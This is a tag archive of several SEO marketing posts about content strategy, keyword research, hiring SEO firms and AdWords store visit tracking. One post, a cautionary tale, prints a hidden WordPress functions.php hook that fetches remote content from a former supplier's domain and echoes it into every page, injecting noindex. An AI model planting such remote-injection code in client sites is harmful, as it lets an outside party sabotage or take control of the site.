Posts tagged need

Why your content and SEO strategy need to be joined up

There are some sites creating useful or interesting content, that are being let down by a lack of attention to SEO. 

In yesterday’s #semrushchat there was such an example, a site offering copywriting services, but one that seemingly needed to pay more attention to SEO.

The site was kreativ forditas, and had submitted itself for review by the semrushchat participants. I’m not going to detail the whole review, but a few SEO-related issues were flagged:

Some are quite easy to fix. For example, meta-descriptions can be added retrospectively and, though it’s not a ranking signal, it should help CTR.

The internal linking issue intrigued me, as the site had nofollowed 103 internal links, which just seems an odd thing to do. 

Looking at the site in more detail, it seems that at least some of the nofollowed internal links were to pages such as login pages, which don’t necessarily represent a missed opportunity. 

However, though the site had some interesting content around the practice of copywriting – content which should help it attract its target audience, and to help lift other pages on the site, it appears to have been created without much thought for SEO. 

copy blog

The site offers content creation, content critique and copywriting services. You would think the obvious think to do would be to link from these articles to the sales pages on the site, thus helping them rank for target terms. 

Indeed, a well-executed content strategy would use internal linking to consistently link to, for example, the copywriting sales page on the site in every mention of the keyword. This would give a strong signal to search engines that that page should be returned for searches on the term. 

Instead, very few of the articles have links at all, and those that do are generally linking to other articles. This means that most of the blog content on the site is doing very little to support the sales pages. 

Of course, some of this content may attract visitors to the site, but it’s doing very little to help the site’s search visibility. 

Another example of this is Millets, which I looked at in a recent post on optimising for searches around festival products – clothing, essential gear, tents etc. 

Its search performance is inconsistent, in part because it doesn’t use the content it creates to help with search visibility. 

millets seo

It has created some useful content around festivals, but isn’t linking to its product or category pages to help them perform more effectively for these searches. 

All Millets needs to do is to link consistently from the content to the landing pages to help them rank more effectively and consistently for target keywords. 

millets blog

It’s another example of a content strategy which hasn’t considered SEO enough. As I wrote in an older post, content marketing and SEO can work together very effectively. 

Content creation helps to achieve search goals, while an eye on SEO helps the content to perform more effectively and reach a wider audience. 

However, creating content in isolation without considering search simply means it’s unlikely to perform as well as it could.

View full post on Search Engine Watch

What do content marketers need to know about SEO?

The way that search marketing has evolved over the last few years has brought content marketing and SEO ever closer together

Content creation and SEO used to be very separate disciplines in the past, but now it’s hard to see how either can be practiced effectively without at least some knowledge of the other.

Which brings me to the question: what do content marketers need to know about SEO (and vice versa) to achieve the best results?

In this post I’ll make an attempt to answer that question, with the help of Kevin GibbonsMD at Blueglass and Sticky Content’s Content Director Dan Brotzel.

What do content marketers need to know about SEO?

Here are some of the tactics and skills, mainly associated with SEO, that content marketers need to be aware of.

I’ve not mentioned technical SEO here, though it is of course important as the foundations on which effective SEO (and content marketing) is built.

Keyword research

Keyword research enables SEOs to find gaps and opportunities to help target pages rank, by understanding the popularity of keywords.

For example, a site producing content around wedding dresses needs to understand the most popular terms used, and the range of terms they need to optimise their content around.

There are lots of useful SEO tools (many are free) which can help with keyword research. Google’s Keyword Planner and Trends are obvious ones (though Keyword Planner has just become less useful), while just typing terms into Google and seeing the suggested searches is another way.

One tool I’ve found useful recently is Answer the Public, which provides some great insight into the kinds of questions people have around a particular topic.

answer the public

Here are the results for ‘content marketing’. It provides some great insight into the kinds of questions people are asking around a topic, which should help content marketers to target more effectively, as well as generating some useful ideas.

answer the publicAccording to Dan Brotzel:

“Keywords and other SEO insights are a vital tool. They provide a useful (and often surprising) index of users’ preoccupations, and the words that they actually use to phrase their searches. Anyone in the business of generating ideas for content should see keyword research/data as a rich resource for understanding user intent and interest, and make it integral to their brainstorming process.”

Knowledge of user search behaviour

This is related to keyword research, as this provides insight into how people search, the language used etc. It’s more than that though…

Insights such as the seasonality of some searches can inform content planning, as can the way people view and interact with search results.

/IMG/542/320542/awr-ctr-study

Effective content marketing looks at the target audience’s questions and concerns and produces content to address their needs. Knowledge of how people search and what the search for provides plenty of insight to help with this goal.

Attracting authority links

Link building is a valuable tactic for SEOs and one which content marketers should be aware of.

They don’t necessarily have to actively build links, but can attract links by creating content that people want to link to and promoting in to relevant publications and channels.

Indeed, a 2016 link building study found that content based link building was by far the most effective method.

Link building tactics most effective

Proving the value of content

There are plenty of content marketing metrics to look at, and the SEO value of content should be part of the measurement applied to content efforts.

As Kevin Gibbons says, it can help to secure budget:

“Knowing the role SEO can play helps to prove the value of content. If you can forecast and report that your content will generate a monetary value in terms of organic traffic and revenue, this is when people can start to scale their investment towards building valuable content assets.”

There are several SEO-related metrics to look at – the organic traffic (and any related revenue) delivered by the content you produce, the links it attracts, and the success in securing organic search positions.

keyword

What do SEOs need do know about content marketing?

These are the tactics and skills normally associated with content production which are becoming ever more valuable to SEOs.

Many of these tactics are interchangeable. For example a focus on the target audience is essential for SEO and content marketing.

The importance of storytelling

Content creation requires a degree of creativity, which can also be valuable from an SEO perspective.

As Kevin Gibbons explains:

“The biggest thing SEO can learn from content marketing, in my opinion is around the importance of storytelling.

It’s vital that you get your message across, providing the best experience in the format that resonates with your target audience. SEOs can often be guilty of sticking to the tried and trusted campaigns that have worked in the past, great content marketers realise that it’s not about what we think, it’s about your audience.

Do your persona analysis, speak to your customers, find out what they really want to see and have a less is more approach towards driving and engagement through doing the best job possible to tell your story.”

storytelling

A focus on the audience/customer

An effective content strategy needs to address the needs of your target customer, and should also align with business goals. It’s not just about attracting traffic, rather it should aim to attract the right kind of customer.

If you address the needs of your target customer through content, the viewers of this content are likely to be your target audience.

For example, retailers can use content such as how-to guides to attract potential customers. So, Repair Clinic produces useful guides on appliance repair. This is useful content which also ties in closely with, and therefore helps to promote, its products.

It’s great for SEO too, as it helps them to target searchers with appliance-related problems, its target audience.

/IMG/728/333728/pressure-water-leask-water-rp

There are SEO tools and techniques which can help to answer these questions, but a broader understanding of the target customer can be gained by using a wide range of information.

This includes customer surveys and reviews, information from customer service interactions, and much more.

As Dan Brotzel says, this process requires creativity:

“Content marketers need to apply editorial initiative and imagination to generating ideas for content that can both address users’ needs and business requirements. They need to find ways to answer the question: What kind of content do our users care about? What counts as a good idea for them? What kind of ideas and content can we credibly produce from within our niche? How can we use content to support our goals?”

Importance of quality content

The old SEO techniques of churning out content for the sake of putting target keywords on a page is no longer effective.

Algorithm updates have forced SEOs to think more about the quality of the content they produce, and this is also the focus of effective content marketing.

As Dan Brotzel says, quality is what users want:

“The great thing about the evolution of SEO is that it is pushing content ever closer to the one criterion that users are ever likely to care about: quality. Yes, you want your content to surface high in results (and to be accessible and scannable, come to that), but there’s no point being easy to find and consume if what you’re offering users isn’t on reflection actually worth finding.”

Quality is, of course, a very subjective term, and is ultimately something for the end user to judge, but the aim should be to produce content that is valuable.

This can be measured to a certain extent in the way that users interact with it (on-page behaviour, actions taken after reading etc) but also in the way that search engines rank content.

Quality can also be a factor in search rankings. For example, if the content is answering the question that the searcher typed into Google, this helps it rank higher.

This is the ‘long click’ (as explained here by Bill Slawski). It’s similar to – but not the same as – bounce rates.

It’s essentially a measure of how long a user spends on a page before returning to the search results page. If they take time, or don’t return to search results, it tells Google that the content has satisfied the searcher, and is therefore relevant to the search query.

Over time, quality content which achieves this will rank well. It will also attract links and social shares, all of which help in terms of SEO.

This is why a focus on evergreen content can be a great tactic for content marketers and SEOs alike.

For example, a post on SEO basics (since updated) from 2014 has delivered traffic over a long period of time. There’s an initial spike after publication, but the traffic didn’t drop off totally, it continued to deliver visitors to this site. In fact it attracted more than 25,000 pageviews last month, more than two years after publication.

The reason is that this is useful content for searchers, and this has helped the article top Google for the term ‘SEO basics’ for some time. This ranking then helps to deliver more visits, attract links, and so on. It’s a virtuous circle.

/IMG/376/338376/seo-basics-stats

/IMG/377/338377/seo-basics-2

In summary

The reality is that no marketing discipline can exist in a vacuum. They all rely on skills and techniques normally associated with other disciplines.

Email marketers need some content skills to make their subject lines and email copy more effective, ecommerce sites rely on SEO techniques to attract customers, and so on.

For content marketing and SEO, its very important for practitioners to understand the importance of the tactics and skills of each.

In a nutshell, SEO requires good content to be really effective, while content producers need to use SEO to help with content planning, and to ensure that the content they work hard on can be found by their target audience.

View full post on Search Engine Watch

Why you may need to be aware of booby traps when hiring a new SEO

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

View full post on Search Engine Watch

10 Questions You Need Answered Before Signing With an SEO Firm – Entrepreneur

10 Questions You Need Answered Before Signing With an SEO Firm
Entrepreneur
Keeping up with SEO (Search Engine Optimization) best practices is a challenge for most businesses. Google always seems to have a major algorithm change on the horizon — not to mention the changes they make without telling anyone. Hiring a firm can be …

View full post on seo optimization – Google News

Everything you need to know about AdWords’ store visit conversions

Ecommerce sales came to more than $341 billion in 2015. That’s huge. But amazingly, 90% of sales still happen in stores, not online, according to Google.

That’s why AdWords introduced the in-store visits metric in 2014. The consumer purchase journey is now more complex than ever – and Google wanted to create a way businesses could understand how much in-store foot traffic their location-based PPC ads were driving.

Thus far, Google has measured more than 1 billion store visits. But not every business has access to this powerful metric.

At the Google Performance Summit – where Google announced Expanded Text Ads, new local search ads, and gave us a preview of the new AdWords interface – in-store conversions were one of the huge topics of conversation, and Google promised this metric would soon become more widely available to more businesses.

If you’re a local business, the combination of new Google Maps Local Search ads and in-store conversions will be an absolutely killer combination.

To get you ready, here are seven things you need to know about AdWords’ store visit conversions.

1. What are store visit conversions?

Google estimates store visit conversions by looking at phone location history to determine whether someone who clicked on your search ad ended up visiting your store. Google looks at ad clicks on all devices – smartphone, desktop, and tablet.

In-store conversion data will help you understand which ad campaigns, keywords, and devices send the most people to your store so you can optimize your account to increase ROI. It doesn’t guarantee that someone bought from you – just that they visited after clicking on one of your ads.

Google’s goal is to provide the data so you can attribute the online value of your ad spend. In less than two years, advertisers in the retail, restaurant, travel, automotive, and finance industries have counted more than one billion store visits globally.

For privacy reasons, in-store conversion data is based on anonymous and aggregated data gathered from people who have Location History turned on. A conversion can’t be tied to an individual ad click or person.

Here’s Google’s official overview video on AdWords Store Visits Conversions:

2. What technology does Google use to measure store visits?

Google Maps knows the exact coordinates and borders of millions of businesses globally. That’s why the AdWords team worked with the Google Maps team to match location history for hundreds of millions of users with Maps data for more than two million businesses.

Google says they use a hybrid approach with a large number of signals in order to measure visits.

To ensure accuracy, Google also surveyed more than 5 million people to confirm they actually visited a store. Google used this information to update its algorithms and reported that its results are “99% accurate”.

3. What’s new with store visits?

At the Performance Summit, Google announced that it most recently made in-store visits available to manufacturers, like auto manufacturers, to track store visits to dealerships.

Google shared a case study on how Nissan UK has been using store visit conversion data to see which keywords and campaigns were driving people into their dealerships to buy a car and increase their ROI by 25x. They’ve used the data to map buyer journeys to reach them at key moments of the research journey.

They discovered that 6% of their mobile ad clicks resulted in a visit. This is huge, considering that the average consumer only visits a dealership twice before actually buying.

You can see more in this video AdWords posted:

4. Is Google using beacons to improve?

Google said it is starting to experiment with beacons to improve its algorithm. Google is exploring how to use Bluetooth Low-Energy (BLE) beacons for in-store analytics and in-store visits.

In fact, Google has a BLE beacon pilot underway that should eventually help people who operate at smaller locations and businesses by ensuring Google is getting and providing the most precise and accurate location data for the least amount of effort.

5. How many store visits are incremental?

Though most purchases happen in person at a physical location, digital channels – especially paid search – still play a huge role in the research and buying process.

Google wanted to quantify the substantial offline impact mobile search ads can have on a business. So Google ran a study of 10 top big box US retailers (including Target and Bed, Bath & Beyond) to determine how many store visits are incremental.

What Google found was that, on average, the number of incremental store visits driven by mobile search ads actually exceeded their number of online purchase conversions.

The study essentially found that these store visits otherwise never would have happened, if not for the influence of mobile search ads.

6. How can you get access to store visit conversions?

Store visits have been made available to more than 1,000 advertisers in 11 countries so far, and Google promises more will gain access soon. If you want to start tracking store visits, you can contact your account manager.

Not every business can track store visits yet – there are a few requirements. You must:

  • Have multiple physical store locations in an eligible country.
  • Receive “thousands” of ad clicks and “many” store visits every month.
  • Link a Google My Business account to your AdWords account.
  • Enable location extensions.

7. Where can you view visit conversions?

Store visit conversions will be added to the “All conversions” column in your campaign reports. If you haven’t already, you’ll need to add this column to your reports:

Store visits are available at the campaign, ad group, and keyword level and can be segmented by device. Google provides step-by-step instructions here.

View full post on Search Engine Watch

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